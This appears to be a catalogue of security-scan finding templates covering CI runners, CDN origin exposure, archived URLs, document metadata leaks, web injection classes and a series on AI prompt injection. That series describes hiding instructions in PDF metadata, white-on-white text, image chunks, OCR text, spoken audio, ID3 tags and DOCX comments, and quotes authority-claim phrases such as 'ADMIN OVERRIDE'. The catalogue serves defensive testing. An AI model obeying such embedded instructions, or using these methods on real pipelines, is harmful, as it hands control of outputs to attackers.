MEDIUM OSIFT-057 — GitHub Actions: Self-Hosted Runner Risk
Description: gato identified self-hosted GitHub Actions runners configured on a public repository. Self-hosted runners in public repos are dangerous because any user can submit a pull request that triggers a workflow run on the runner, potentially executing arbitrary code in the organization's infrastructure.
Impact: Self-hosted runners on public repos allow any GitHub user to execute code on the organization's infrastructure by submitting a crafted pull request. This can lead to lateral movement into internal networks, credential theft from the runner environment, persistence via runner modification, and access to other repositories that share the same runner group.
Remediation: Use ephemeral/disposable runners for public repositories. Restrict self-hosted runners to private repos only. If self-hosted runners must be used on public repos, enable the 'Require approval for all outside collaborators' setting and use separate runner groups with restricted repository access.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1195.002 (Initial Access)
NIST 800-53: AC-6, SC-7
PCI DSS 4: 7.2.1
INFO OSIFT-058 — GitHub Actions: Audit Complete — No Issues
Description: gato completed a security audit of the target organization's GitHub Actions workflows and found no injection vulnerabilities, secret exfiltration paths, excessive permissions, or self-hosted runner risks.
Impact: No security issues were identified in the GitHub Actions configuration. This is a positive finding indicating that CI/CD workflows follow security best practices for the areas audited.
Remediation: No remediation required. Continue to audit workflows periodically, especially when new workflows are added or existing ones are modified.
Effort: Easy
NIST 800-53: SA-11
HIGH OSIFT-059 — CDN/WAF Bypass: Origin IP Exposed
Description: hakoriginfinder discovered the origin server IP address behind the CDN/WAF. The origin IP responds to HTTP requests directly, bypassing all CDN/WAF protections (rate limiting, DDoS mitigation, WAF rules, geo-blocking, bot detection). The origin was confirmed by matching response characteristics to the target domain.
Impact: Direct access to the origin server bypasses all CDN/WAF security controls. An attacker can launch DDoS attacks directly against the origin, exploit web application vulnerabilities without WAF interference, bypass rate limiting and bot detection, and circumvent geo-blocking or IP-based access controls. The origin server may also expose internal services or management interfaces not intended to be publicly accessible.
Remediation: Restrict the origin server firewall to accept connections only from CDN/WAF edge IP ranges. Use the CDN provider's published IP lists (e.g., Cloudflare IPs, AWS CloudFront IPs) in firewall rules. Block all direct access to the origin from non-CDN sources. Consider using authenticated origin pulls (mTLS between CDN and origin).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1590.005 (Reconnaissance)
NIST 800-53: SC-7, SC-5
PCI DSS 4: 1.3.1, 6.4.1
MEDIUM OSIFT-060 — CDN/WAF Bypass: Potential Origin IP
Description: hakoriginfinder identified an IP address that may be the origin server behind the CDN/WAF. The IP responded to HTTP requests with content that partially matches the target domain (e.g., 2xx/3xx status code with related content). Further verification is needed to confirm this is the actual origin.
Impact: If this IP is confirmed as the origin server, an attacker can bypass all CDN/WAF protections. Even as a candidate, it reveals infrastructure information that narrows the attack surface and may identify related services, staging environments, or development servers.
Remediation: Verify whether this IP is the actual origin server. If confirmed, restrict its firewall to accept connections only from CDN edge IPs. If it is a staging or development server, ensure it is not publicly accessible.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1590.005 (Reconnaissance)
NIST 800-53: SC-7
PCI DSS 4: 1.3.1
INFO OSIFT-061 — CDN/WAF Bypass: No Origin Exposure
Description: hakoriginfinder scanned for the origin server IP behind the CDN/WAF and found no exposed origin IPs. The CDN/WAF appears to properly protect the origin server from direct access.
Impact: The CDN/WAF is correctly protecting the origin server. No direct access paths were discovered during the scan.
Remediation: No remediation required. Continue to ensure origin server firewall restricts access to CDN edge IPs only.
Effort: Easy
NIST 800-53: SC-7
INFO OSIFT-062 — Historical Endpoints Discovered
Description: waymore discovered historical endpoints for the target domain across multiple web archive sources (Wayback Machine, Common Crawl, VirusTotal, URLScan.io, AlienVault OTX). These URLs represent the domain's historical web presence and may include endpoints that are no longer publicly linked but still accessible.
Impact: Historical endpoints can reveal previously accessible admin panels, configuration pages, backup files, development endpoints, and API routes. Even if removed from the current site, these endpoints may still respond to requests. Archived URLs also reveal the application's evolution, naming conventions, and internal structure.
Remediation: Review discovered endpoints and remove or restrict access to any that should not be publicly accessible. Implement proper authentication and authorization controls on all endpoints.
Effort: Moderate
CVSS Vector: N/A
OWASP API: API9:2023 Improper Inventory Management
MITRE ATT&CK: T1596.005 (Reconnaissance)
NIST 800-53: CM-8
MEDIUM OSIFT-063 — Sensitive Historical URL Discovered
Description: waymore discovered historical URLs matching security-sensitive patterns (admin, config, debug, backup, test, internal, setup, install, phpinfo, .env, wp-admin, phpmyadmin) in web archive data. These URLs may indicate administrative interfaces, configuration files, or backup resources that were previously accessible and may still respond to requests.
Impact: Sensitive historical URLs may reveal admin panels that still respond, configuration files with credentials, database backups, installation wizards that can be replayed, debug pages with verbose error output, and internal API documentation. These represent high-value targets for an attacker who can access them directly.
Remediation: Remove sensitive endpoints from production. Add authentication to admin panels. Delete backup and configuration files from web-accessible directories. Disable debug/install/setup endpoints in production. Request removal of sensitive cached pages from web archives where possible.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2025 Broken Access Control
OWASP API: API9:2023 Improper Inventory Management
MITRE ATT&CK: T1596.005 (Reconnaissance), T1190 (Initial Access)
NIST 800-53: AC-6, CM-7
PCI DSS 4: 6.2.4, 6.4.1
LOW OSIFT-064 — Historical API Endpoint
Description: waymore discovered API endpoints in web archive data (/api/, /v1/, /v2/, /graphql, /rest/, /ws/, /webhook). These endpoints may represent current or deprecated API surfaces that can be probed for authentication bypasses, information disclosure, or injection vulnerabilities.
Impact: Historical API endpoints reveal the application's API structure, versioning scheme, and endpoint naming conventions. Deprecated API versions may lack security controls applied to current versions. API endpoints are high-value targets for authentication bypass, injection, and data exfiltration.
Remediation: Decommission deprecated API versions. Ensure all API endpoints require proper authentication and authorization. Maintain an up-to-date API inventory and remove endpoints that are no longer needed.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
MITRE ATT&CK: T1596.005 (Reconnaissance)
NIST 800-53: CM-8
PCI DSS 4: 6.3.2
LOW OSIFT-065 — Document Metadata: Internal Username Leaked
Description: exiftool extracted an internal username from the Author or Creator metadata field of a publicly accessible document. This username may correspond to an internal Active Directory account, email address, or application login credential.
Impact: Leaked usernames enable targeted phishing, credential stuffing, and password spraying attacks. Internal usernames often follow predictable patterns (first.last, flast) that allow enumeration of additional accounts. Combined with other OSINT, usernames can be used for social engineering or to identify high-value targets (executives, administrators).
Remediation: Strip metadata from all documents before publishing. Use document management policies that automatically remove Author, Creator, and other identifying metadata fields. Configure document creation tools to use generic or organizational names instead of personal usernames.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1589.003 (Reconnaissance), T1592.004 (Reconnaissance)
NIST 800-53: SI-12, AC-6
PCI DSS 4: 3.4.1
INFO OSIFT-066 — Document Metadata: Software Version Disclosed
Description: exiftool extracted the software name and version from the Creator or Producer metadata field of a publicly accessible document. This reveals the specific applications used to create or modify the document, including version numbers that may be checked against known vulnerability databases.
Impact: Software version disclosure enables targeted vulnerability research. An attacker who knows the exact version of Microsoft Office, Adobe Acrobat, or other document creation tools can search for version-specific CVEs, craft targeted exploits, and identify outdated software that may be vulnerable to known attacks.
Remediation: Strip metadata from documents before publishing. This is informational and does not require urgent remediation.
Effort: Easy
CVSS Vector: N/A
MITRE ATT&CK: T1592.004 (Reconnaissance)
NIST 800-53: CM-8
LOW OSIFT-067 — Document Metadata: Internal File Path Leaked
Description: exiftool extracted an internal file system path (such as C:\Users\jsmith\Documents\... or /home/admin/reports/...) from a publicly accessible document's metadata. This reveals the internal directory structure, operating system, and potentially the username of the document creator.
Impact: Internal file paths reveal the organization's operating system, directory structure, username conventions, and internal project names. This information assists in crafting targeted phishing payloads, identifying high-value targets, and planning post-exploitation activities. Path structures can also reveal development vs. production environments.
Remediation: Strip metadata from all documents before publishing. Use metadata removal tools (exiftool -all=, mat2) as part of the document publishing workflow. Configure document templates to avoid embedding local file paths.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1592.004 (Reconnaissance)
NIST 800-53: SI-12
PCI DSS 4: 3.4.1
INFO OSIFT-068 — Document Metadata: Email Address Leaked
Description: exiftool extracted an email address from the metadata of a publicly accessible document. This email may belong to the document's author, reviewer, or the organization's document management system.
Impact: Email addresses extracted from document metadata can be used for targeted phishing, social engineering, and email-based attacks. They may also reveal internal email naming conventions that allow enumeration of additional email addresses across the organization.
Remediation: Strip metadata from documents before publishing. This is informational — email addresses may already be publicly available through other channels.
Effort: Easy
CVSS Vector: N/A
MITRE ATT&CK: T1589.002 (Reconnaissance)
NIST 800-53: SI-12
MEDIUM OSIFT-069 — Document Metadata: GPS Coordinates Leaked
Description: exiftool extracted GPS coordinates from the EXIF metadata of a publicly accessible image or document. This reveals the physical location where the photo was taken or the document was created, which may include office locations, employee residences, or sensitive facility coordinates.
Impact: GPS coordinates in publicly accessible documents can reveal office locations, data center addresses, employee home locations, and other sensitive physical locations. This information enables physical surveillance, social engineering, and targeted attacks against specific facilities. For individuals, leaked GPS data from personal photos represents a privacy violation.
Remediation: Strip EXIF GPS data from all images and documents before publishing. Configure mobile devices and cameras to disable GPS tagging. Use metadata removal tools (exiftool -gps:all=, mat2) as part of the content publishing workflow.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1591.001 (Reconnaissance)
NIST 800-53: SI-12, MP-5
PCI DSS 4: 3.4.1
INFO OSIFT-070 — Document Metadata: Audit Summary
Description: exiftool completed a metadata audit of publicly accessible documents found during reconnaissance. This finding summarizes the total number of documents analyzed, metadata fields extracted, and categories of information discovered across all scanned documents.
Impact: This is a summary finding providing an overview of the document metadata analysis. Individual findings for specific metadata disclosures (usernames, software versions, file paths, GPS data) are reported separately.
Remediation: Review individual document metadata findings for specific remediation actions. Implement organization-wide metadata stripping policies for all publicly published documents.
Effort: Easy
NIST 800-53: SI-12
CRITICAL PI-001 — AI Prompt Injection — Task Hijack via {strategy}
Description: The AI pipeline abandoned its primary task entirely when processing a file containing an injected instruction in its metadata, text layer, or audio content. The AI's response contained only the injected canary token, confirming the model followed the adversarial instruction instead of performing its assigned function (transcription, classification, summarisation, etc.).
Impact: An attacker can embed instructions in files submitted to the AI pipeline that completely override the model's intended behaviour. This enables arbitrary output manipulation — the AI can be made to produce any attacker-chosen text, leak system prompts, or return fabricated classifications. In production pipelines processing documents, images, or audio, this means an attacker controls what downstream consumers (dashboards, databases, compliance workflows) receive as AI output.
Remediation: Strip or sanitise all file metadata before including it in the LLM context. Enforce a fixed system prompt that explicitly forbids instruction overrides from file content. Process file content in a separate, sandboxed context from system instructions. Validate AI output against expected format/schema — flag responses containing unexpected tokens or format deviations.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1059.007 (Execution), T1565.001 (Impact)
NIST 800-53: SI-10, SI-15
HIGH PI-002 — AI Prompt Injection — Prefix Inject via {strategy}
Description: The AI pipeline completed its primary task but also followed an injected instruction to prefix its output with an attacker-controlled token. The response contains both the expected task output and the injected canary, indicating the model treated the embedded instruction as authoritative alongside its system prompt.
Impact: An attacker can inject arbitrary prefixes or annotations into AI pipeline output without fully disrupting the primary task. This partial injection is exploitable for output tagging attacks (injecting misleading classification labels), cache poisoning (injected prefixes propagate through cached results), and trust boundary violations (downstream systems may parse the prefix as metadata).
Remediation: Enforce strict output schema validation — reject responses that do not match the expected format. Implement input sanitisation to strip embedded instructions from file metadata and text layers before LLM ingestion. Use delimiter-based prompt architecture to clearly separate system instructions from user/file content.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10, SI-15
CRITICAL PI-003 — AI Prompt Injection — Classify Override via {strategy}
Description: The AI pipeline returned an attacker-controlled classification label instead of performing genuine content analysis. The injected instruction directed the model to output a specific category, and the model complied — either abandoning its own classification (CRITICAL) or appending the injected label alongside its real output (HIGH).
Impact: An attacker can force arbitrary classification labels on submitted content, bypassing the AI's actual analysis. In document processing pipelines, this enables content to be misclassified (e.g. malware marked as benign, non-compliant documents marked as compliant, spam marked as legitimate). This directly undermines any automated decision-making that depends on the AI's classification output.
Remediation: Never allow file content to influence the classification decision prompt. Use a two-stage pipeline: extract content in a sandboxed context, then classify the extracted content with a separate prompt that cannot receive user-injected instructions. Validate classifications against a known-good label set.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10, SI-15
CRITICAL PI-004 — AI Prompt Injection — System Probe via {strategy}
Description: The AI pipeline disclosed its system prompt or internal configuration in response to an injected instruction embedded in file metadata or content. The injected payload directed the model to reveal its operating instructions, and the canary token's presence in the response confirms the model attempted to comply.
Impact: System prompt leakage reveals the AI pipeline's internal logic, guardrails, classification rules, and potentially sensitive configuration details to an attacker. This information enables targeted follow-up attacks — an attacker who knows the system prompt can craft payloads specifically designed to bypass its guardrails. System prompts may also contain API keys, internal endpoint URLs, or business logic that should remain confidential.
Remediation: Never include sensitive credentials or internal URLs in system prompts. Implement output filtering to detect and block responses that contain system prompt fragments. Use instruction hierarchy (system > user > tool) enforcement so file content cannot override system-level instructions. Monitor for anomalous response patterns indicating prompt extraction attempts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
MITRE ATT&CK: T1082 (Discovery)
NIST 800-53: SI-10, AC-4
HIGH PI-005 — AI Prompt Injection — Authority Claim via {strategy}
Description: The AI pipeline followed an injected instruction that claimed special authority (e.g. 'AUTHORIZED EVALUATOR', 'ADMIN OVERRIDE', 'SECURITY TEST IN PROGRESS'). The model treated the claimed role as legitimate and executed the embedded instruction, confirming it does not validate the provenance of instructions embedded in file content.
Impact: An attacker can invoke claimed authority roles within file content to bypass AI guardrails. The model's failure to distinguish between legitimate system instructions and authority claims embedded in user-submitted content means any attacker can escalate their privilege level within the AI's decision framework by simply asserting a role. This undermines all role-based access controls in the AI pipeline.
Remediation: Implement strict instruction hierarchy — the model must never accept authority claims from file content. Use architectural separation: system instructions arrive through a trusted channel (API system role), while file content is clearly demarcated as untrusted user input. Train or fine-tune models to recognise and reject authority claim patterns in user content.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1134 (Privilege Escalation)
NIST 800-53: AC-3, SI-10
HIGH PI-006 — AI Prompt Injection — {category} via {strategy} (Partial Injection)
Description: The AI pipeline completed its primary task but also followed the injected instruction — the canary token appeared in the response alongside legitimate task output. This indicates the model treated the embedded instruction as a secondary directive, executing it in addition to (rather than instead of) its assigned task.
Impact: Partial injection is more dangerous than full hijack in production contexts because it may go undetected — the pipeline still produces plausible-looking output while also executing attacker instructions. This enables data exfiltration (canary confirms the model reads and acts on embedded content), output poisoning (injected content mixed into legitimate results), and supply chain attacks (downstream consumers receive tainted output that appears valid).
Remediation: Implement output schema validation that rejects responses deviating from the expected format. Strip all metadata and embedded instructions from file content before LLM ingestion. Deploy anomaly detection on AI output to flag unexpected tokens or patterns.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10
HIGH PI-007 — AI Prompt Injection — {category} via {strategy} (Stored Text Injection)
Description: The injected payload was not detected in the immediate AI response but was found persisted in stored results at the verify URL. This indicates a stored/persistent prompt injection — the AI pipeline transcribed, classified, or processed the injected content and wrote it to a database, search index, or result store where it is now accessible to other users or downstream systems.
Impact: Stored prompt injection is the AI equivalent of stored XSS. The injected payload persists in the application's data layer and may be rendered to other users, fed into downstream LLM calls (second-order injection), indexed by search engines, or used as training data. In Whisper/transcription pipelines, spoken injection payloads are faithfully transcribed and stored as text, creating a persistent attack vector that outlives the original file submission.
Remediation: Sanitise AI output before persisting it to any data store. Implement content security policies on stored transcriptions and classifications. Never render stored AI output as HTML without escaping. Monitor stored results for canary-pattern tokens or instruction-like content that should not appear in legitimate transcriptions.
Effort: Major
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact), T1059.007 (Execution)
NIST 800-53: SI-10, SI-15
INFO PI-008 — AI Injection Resilient — {category} via {strategy}
Description: The AI pipeline did not follow the injected instruction. The canary token was absent from both the immediate response and any stored results. The model completed its primary task without executing the embedded adversarial payload.
Impact: Informational — no security impact. The pipeline demonstrated resilience against this specific injection vector, category, and delivery strategy combination. This does not guarantee resilience against other payload variants, encoding schemes, or multi-turn attacks.
Remediation: No remediation required. Continue monitoring for new injection techniques and re-test periodically as the AI model or pipeline is updated.
INFO PI-009 — AI Injection Dry Run — {category} via {strategy}
Description: A test file containing an injected adversarial payload was generated but not submitted to a target AI pipeline (--dry-run mode). The file is available in the test_files output directory for manual inspection or subsequent submission.
Impact: Informational — no security testing was performed. The generated file can be used for manual testing, integration into CI/CD security pipelines, or submitted to AI endpoints outside of pAIn's automated workflow.
Remediation: No remediation required — this is an informational record of test file generation.
CRITICAL PI-010 — AI Prompt Injection — Task Hijack via pdf_docinfo_metadata
Description: The AI pipeline abandoned its primary task when processing a PDF whose document-info metadata (Author, Subject, Keywords, Creator) contained an injected instruction. PDF metadata is commonly extracted by document processing pipelines and passed to LLMs as context.
Impact: PDFs are the most common document format in enterprise AI pipelines. Document-info metadata injection succeeds silently because the injected content is invisible to the human viewer — only the pipeline's metadata extraction step sees it. This enables zero-interaction attacks where a legitimately-appearing PDF hijacks any AI pipeline that processes it.
Remediation: Strip all PDF metadata (Author, Subject, Keywords, Creator, Producer) before feeding document content to the LLM. Use a metadata-free text extraction pipeline that discards everything except the visible text layer.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10
CRITICAL PI-011 — AI Prompt Injection — {category} via pdf_hidden_text_layer
Description: The AI pipeline processed a PDF containing a hidden text layer (white text on white background) with an injected instruction. The text is invisible to human viewers but extracted by PDF text extraction libraries (pdfplumber, pdfminer, PyMuPDF) and passed to the LLM. The model followed the hidden instruction.
Impact: Hidden text layer injection is especially dangerous because the document appears completely legitimate to any human reviewer — the injected content is only visible to the machine pipeline. This enables supply-chain attacks where documents pass human approval processes before being fed to AI systems that then execute the hidden instructions.
Remediation: Implement text layer analysis that detects and strips hidden text (zero-contrast text, extremely small font, off-page positioned text) before LLM ingestion. Use render-then-OCR instead of direct text extraction to ensure only visible content reaches the model.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1027 (Defense Evasion), T1565.001 (Impact)
NIST 800-53: SI-10
HIGH PI-012 — AI Prompt Injection — {category} via png_text_chunk_metadata
Description: The AI pipeline followed an injected instruction embedded in a PNG image's tEXt/iTXt metadata chunks (Comment, Description, Author, Source fields). Image metadata is commonly extracted by vision pipelines and may be included in the LLM's context alongside OCR or vision analysis results.
Impact: Image metadata injection targets vision-AI and document-processing pipelines. Since metadata is not visible in the rendered image, the attack is invisible to human reviewers. Pipelines that extract and include image metadata in LLM prompts are vulnerable to having their analysis influenced or overridden by injected instructions.
Remediation: Strip all image metadata (EXIF, tEXt, iTXt, XMP) before passing images to AI vision models. Process only the pixel data for vision analysis. If metadata is needed for non-AI purposes, process it in a separate context that does not feed into the LLM.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10
HIGH PI-013 — AI Prompt Injection — {category} via {format}_text_overlay_ocr
Description: The AI pipeline followed an injected instruction rendered as visible text in an image. The text was extracted via OCR (optical character recognition) or multimodal vision analysis and passed to the LLM, which treated it as an instruction rather than image content to be described or classified.
Impact: OCR/vision-based injection targets any pipeline that extracts text from images — document digitisation, receipt processing, medical imaging, ID verification, etc. Unlike metadata injection, the payload is technically visible, but in a real attack it would be placed in inconspicuous locations (small text, low contrast, marginal annotations) that human reviewers overlook.
Remediation: Implement content-type awareness in the LLM prompt — explicitly instruct the model that OCR-extracted text is untrusted content to be described, never instructions to be followed. Use a two-stage pipeline where OCR extraction and LLM analysis run in isolated contexts.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10
CRITICAL PI-014 — AI Prompt Injection — {category} via wav_spoken_audio_content
Description: The AI pipeline followed an injected instruction delivered as synthesised speech in a WAV audio file. The speech-to-text (Whisper/ASR) component transcribed the spoken payload, and the downstream LLM treated the transcribed text as an instruction to execute rather than content to process.
Impact: Spoken audio injection is the most dangerous delivery vector for transcription pipelines because it exploits the fundamental purpose of the pipeline — faithfully transcribing speech. The injected instruction arrives through the same channel as legitimate audio content, making it impossible to filter at the transport layer. In customer service, medical dictation, legal transcription, and meeting-notes pipelines, spoken injection can alter transcripts, inject false records, or hijack downstream AI processing.
Remediation: Implement post-transcription filtering to detect and strip instruction-like patterns from ASR output before passing to downstream LLMs. Use separate processing contexts for transcription and instruction execution. Apply anomaly detection to transcriptions that contain command-like syntax.
Effort: Major
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10
HIGH PI-015 — AI Prompt Injection — {category} via {format}_id3_tags
Description: The AI pipeline followed an injected instruction embedded in audio file metadata (ID3 tags: Title, Artist, Album, Comment, Lyrics). Audio metadata is commonly extracted by media processing pipelines and may be included in the LLM's context alongside transcription results.
Impact: Audio metadata injection targets music cataloguing, podcast processing, and media management AI pipelines. ID3 tags are standard metadata fields that many processing pipelines extract automatically. The injected payload is invisible during audio playback but present in the file's binary structure, enabling silent injection into any pipeline that reads tag data.
Remediation: Strip all audio metadata (ID3, Vorbis comments, MP4 tags) before including audio file context in LLM prompts. Process only the audio waveform data for transcription and discard metadata entirely.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10
CRITICAL PI-016 — AI Prompt Injection — {category} via docx_body_text_extraction
Description: The AI pipeline followed an injected instruction placed in the body text of a DOCX (Word) document. The document XML body was extracted by the pipeline's document parser and passed to the LLM, which treated the injected instruction as authoritative.
Impact: DOCX is a standard enterprise document format. Body text injection is the most straightforward attack vector — the payload appears as regular document content. In document review, contract analysis, compliance checking, and summarisation pipelines, an attacker can embed instructions that redirect the AI's analysis, alter its conclusions, or force specific outputs.
Remediation: Implement instruction boundary separation — ensure the LLM prompt clearly delineates system instructions from document content using robust delimiters. Apply content filtering to detect instruction-like patterns in extracted text before LLM ingestion.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10
HIGH PI-017 — AI Prompt Injection — {category} via docx_comment_text_extraction
Description: The AI pipeline followed an injected instruction placed in a DOCX document's comment annotations. Document comments are a secondary content channel that some parsers (python-docx, docx2txt) extract alongside body text. The pipeline included comment text in the LLM context, and the model treated the injected instruction as authoritative.
Impact: Comment-based injection targets document review and collaboration pipelines. Comments are a semi-hidden content channel — they appear in sidebars during editing but are often stripped or ignored in final renderings, making them a covert injection vector. Pipelines that extract and process all document content (including comments, headers, footers, and annotations) are vulnerable.
Remediation: Strip document comments, headers, footers, and annotations before feeding document content to the LLM. Only extract and process the visible body text for AI analysis.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1027 (Defense Evasion), T1565.001 (Impact)
NIST 800-53: SI-10
HIGH PI-018 — AI Prompt Injection — {category} via zip_member_text_injection
Description: The AI pipeline followed an injected instruction placed in text files within a ZIP archive (document.txt, data.csv, notes.md). Pipelines that automatically extract and process archive contents are vulnerable when extracted text is passed to the LLM without sanitisation.
Impact: ZIP/archive injection targets document processing and data ingestion pipelines that automatically extract and process compressed archives. The injected payload is spread across multiple archive members (TXT, CSV, Markdown), maximising the chance of reaching the LLM through whichever extraction path the pipeline uses. This vector also enables payload delivery through legitimate-looking data files.
Remediation: Implement content scanning on all extracted archive members before LLM ingestion. Apply the same instruction-detection filtering to extracted text files as to directly uploaded documents. Limit the types of files that can be extracted and processed from archives.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10
CRITICAL PHX-001 — SQL Injection (Error-Based)
Remediation: Use parameterized queries or prepared statements. Never concatenate user input into SQL strings. Apply least-privilege DB accounts. Deploy a WAF with SQLi rules.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
HIGH PHX-002 — Reflected Cross-Site Scripting (XSS)
Remediation: Encode all output in the appropriate context (HTML, JS, CSS, URL). Use Content Security Policy headers. Validate and sanitize input server-side.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1189 (Initial Access), T1059.007 (Execution)
NIST 800-53: SI-10, SC-18
PCI DSS 4: 6.2.4
HIGH PHX-003 — XML External Entity Injection (XXE)
Remediation: Disable XML external entity processing in all XML parsers. Use less complex data formats such as JSON. Patch or upgrade all XML processors and libraries.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1083 (Discovery)
NIST 800-53: SI-10, CM-6
PCI DSS 4: 6.2.4
CRITICAL PHX-004 — Server-Side Template Injection (SSTI)
Remediation: Never allow user-controlled input to be passed directly to template engines. Use logic-less templates. Sandbox template execution environments.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
HIGH PHX-005 — LDAP Injection
Remediation: Escape all special characters in LDAP queries. Use parameterized LDAP APIs. Validate input against a strict allowlist before passing to directory queries.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A03:2021 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1110 (Credential Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
CRITICAL PHX-006 — OS Command Injection
Remediation: Avoid passing user input to OS commands. Use safe APIs that do not invoke shells. If shell is unavoidable, validate against a strict allowlist and escape all metacharacters.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, CM-6, SA-11
PCI DSS 4: 6.2.4
CISA KEV
HIGH PHX-007 — NoSQL Injection
Remediation: Sanitize and validate all input before passing to NoSQL query constructors. Use ODM libraries that enforce typed queries. Restrict MongoDB operators ($where, $regex) in user-supplied data.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH PHX-008 — Broken Authentication – No Account Lockout
Remediation: Implement account lockout after 5–10 failed attempts with progressive delays. Use CAPTCHA for public-facing login. Enforce MFA for all user accounts.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1110 (Credential Access), T1110.003 (Credential Access)
NIST 800-53: AC-7, IA-5
PCI DSS 4: 8.3.4
HIGH PHX-009 — Session Fixation
Remediation: Invalidate and regenerate session tokens immediately after successful authentication. Set Secure, HttpOnly, and SameSite flags on session cookies.
Effort: Low
